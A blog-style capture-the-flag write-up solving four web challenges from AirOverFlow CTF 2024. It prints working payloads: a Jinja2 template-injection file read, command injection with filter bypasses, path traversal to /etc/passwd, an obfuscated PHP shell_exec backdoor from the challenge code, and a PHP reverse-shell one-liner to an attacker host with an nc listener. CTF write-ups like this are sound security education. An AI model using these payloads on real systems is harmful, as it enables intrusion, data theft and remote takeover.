AirOverFlow CTF-24 (WEB)

Mesum Raza
8 min readApr 28, 2024

Assalamualikum everyone. I hope you all are doing well. In today’s writeup I am going to share how I managed to solve 4 out of 6 Web challenges of the AirOverFlow CTF 2024. Let’s start with a brief introduction of myself. I am Mesum Raza, a passionate Cyber Security Enthusiast who has major interest in Offensive Security. I love to do bug bounty hunting and play ctf’s in my free time. So that’s it for introduction. Let’s get started!!

Challenge 1:

Name: QrZilla

Description: In 2024, Find out why I am recreating QR generator and scanner.

Solution:

So let’s go and find out why he has created QR Generator. If we open the application and do some recon, we see that there are two options:

  1. Generate a QR Code

2. Scan a QR Code:

The very first bug that clicked my mind was SSRF because when we scan the QR Link, the request was originated from backend server. But after trying a few things I realized that it is not a SSRF.

Now the question is what else we can try?? Randomly I thought to test for SSTI (Server-Side Template Injection).

I went to the generate qr code page, entered “{{7*7}}” (which is basically a initital payload to identify whether SSTI lies or not), copied the generated QR Code Image Link, entered the link in the scan page and boom it returned “49".

Now I followed the portswigger SSTI article to identify what engine is running at the backend.

Reference: https://portswigger.net/web-security/server-side-template-injection

Because I already encountered a Jinja2 SSTI in a previous CTF so I thought why not to test for Jinja2 first. I quickly went to generate page again, entered “{{7*’7’}}” (the payload to check Jinja2 engine that can be seen in the above pic), copied the QR Code Link, went to the scan page and entered the link and yes I was right it is Jinja2 because it returned “7777777”

Now after confirmation I simply went to PayloadAllTheThings github repo (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md) to find the payload.

I scrolled down to “Jinja2 — Read remote file” and copied the payload:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Made my changes accordingly:

{{ get_flashed_messages.__globals__.__builtins__.open("/flag.txt").read() }}

Went to generate page and entered the above payload, copied the QR Code Link, went to scan page and I got the flag!!

Challenge 2:

Name: Feedback

Description: Your feedback is very important. It’s harmless though.

Solution:

If we open the application and do some recon, we can see that there is feedback form and we can submit our feedback.

After trying a few things, I realized that there are some restrictions on the input field like we can’t input special characters that leads to injection vulnerabilities.

So I thought why not to test for command injection. The very first payload I tried was:

$(ls)

And yes I was right, there is a command injection vulnerability here:

Now this point was just the start and I faced a lot of restrictions here. As I said above there are a lot of characters including space that are not allowed in the input field. I thought if I could somehow see the “main.py” file then it will be easy for me because restrictions will be probably written there. After doing some research I went to PayloadAllTheThings (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md) and I found a way to see the contents of that file by:

$(cat${IFS}main.py)

${IFS} is basically equivalent to space character in bash.

Now it became a bit easy for me to craft my payload to retrieve the flag. Now the question is where is the flag because it is not in the current directory so we have to check parent directory for the flag.txt file. Now I did a lot of research and tried a lot of different things and finally after sometime I got my final payload which worked:

$(ls${IFS}..${HOME:0:1}..${HOME:0:1})

So let me explain this command:

The “${HOME:0:1}” is equivalent to “/” in bash and ${IFS} is a space so basically it is simply this below command but we have to use the above one:

$(ls ../../)

Now let’s retrieve the flag with one more twist. If you see the restrctions the word “txt” and “flag” is not allowed so we have to bypass this also. So again after some research I got this payload worked:

$(cat${IFS}..${HOME:0:1}..${HOME:0:1}fl``ag.tx``t)

The two backtiks (``) bascially combines the strings so fl``ag will be flag in bash.

Challenge 3:

Name: Little Nightmare

Description: Don’t know whats wrong in this application

Solution:

If we open the application and do some recon, we see that there is just an static application and there is no input field nor there is any parameter so it was clear that injection vulnerabilities aren’t in this challenge. There is also a zip file given with the challenge. If we see the app.py file there is nothing interesting just application routes are defined:

But when I saw the docker file:

I noticed that flag.txt is copied from the system to the /flag directory in the container. The vulnerability that clicked in my mind was “Local File Inclusion (LFI)”. I quickly intercepted the request in burp and sent it to Repeater. I simply tried one directory back and I got nothing but when I navigated two directories back I got my flag!!

Challenge 4:

Name: MusicOverflow2077

Description: Its time to energize ourself and feel like we are in 2077. Overflow yourself with this music playlist

Solution:

This challenge took me a lot of time to exploit. If we open the application and do some recon, we see that there is just a screen that is playing the song. I checked the page source of the application and there is found a directory “/index.js”. I analyzed the file and I found something interesting:

So this code means that it has a music.php file which expects a parameter “song” to download the songs given in that file “index.js”. I quickly navigated to the URL searched for that like:

challs.airoverflow.com:34407/music.php?song=test and it gave me this:

Now I was pretty sure that there is a file inclusion vulnerability here also so for testing I searched for the /etc/passwd file in the parent directory:

challs.airoverflow.com:34407/music.php?song=../../../../etc/passwd

And yes the /etc/passwd file was downloaded. I was very happy in the start that lol it is that easy I will find the flag in one of the directory but then I got to know that it is not that easy as I was thinking because I didn’t found any flag file in the directories. At this point I was stuck.

But then I got the index.php file by:

challs.airoverflow.com:34407/music.php?song=../index.php

And in that file there was an obfuscated code and I was sure that this is something which will lead to the flag.

<?php $_=``.[];$__=@$_;$_= $__[0]; $_1 = $__[2]; $_1++;$_1++;$_1++;$_1++;$_1++;$_1++;$_++;$_++;$_0 = $_;$_++;$_2 = ++$_; $_55 = '_'.(','^'|').('/'^'`').('-'^'~').(')'^'}');$_74 = ('{'^':').('`'^'/').('='^'{').('#'^'`').(')'^'}').('`'^'&').('@'^'r').('k'^'_'); $_ = $_2.$_1.$_2.$_0; $_($$_55[$_74.'_oEC8QYaYKp']);?>

I used the code beautifier to beautify it. Then after wondering what to do with this code I thought to run it. I saved it in a file test.php and ran it in the terminal:

→ php test.php

And it showed me an interesting error:

In this error it showed me that index.php is using shell_exec() function. For those who dont know that is shell_exec(), basically it is a php function which allows you to execute bash commands like ls etc. I enumerated each variable in the php file with the php shell (type php -a to open a shell in terminal) and I got some hints:

So now I had three hints shell_exec(), _POST & AOFCTF24, _oEC8QYaYKp. After a few time I finally understood what is this. So basically in PHP the $_POST captures the parameter you send in the request so the parameter is “AOFCTF24_oEC8QYaYKp”. From here I went to the website back and:

1. Captured the request with /index.php and sent it to repeater.
2. Changed the request method from GET to POST by right click -> change request method
3. Added the parameter “AOFCTF24_oEC8QYaYKp” in body and tried something like “ls” command but it didn’t reflected the contents in the response.

So now, the next step is to take reverse shell.

  1. I started my ngrok to get a public IP and port (ngrok tcp 4000)
  2. Started a listener (nc -nvlp 4000)
  3. Now I went to this article (https://medium.com/@cuncis/reverse-shell-cheat-sheet-creating-and-using-reverse-shells-for-penetration-testing-and-security-d25a6923362e) and copied the php shell payload.
php -r '$sock=fsockopen("<attacker IP>",<attacker port>);exec("/bin/sh -i <&3 >&3 2>&3");'

4. Changed the attacker IP with ngrok IP and port with ngrok port

5. Put the payload in the burp request and URL encode it with CTRL+U

6. Send the request:

And boom we got a reverse shell:

Now just go back three directories and get the flag.

I hope you enjoyed the writeup and learnt something new. Meet you guys in the next writeup. Till that peace out!!

Feel free to connect!

LinkedIn: https://www.linkedin.com/in/mesum-raza-471651234/

--

--

Mesum Raza

Security Researcher | CAP | ISO/IEC 27001 | BS Cyber Security | NED'27 | Offensive Security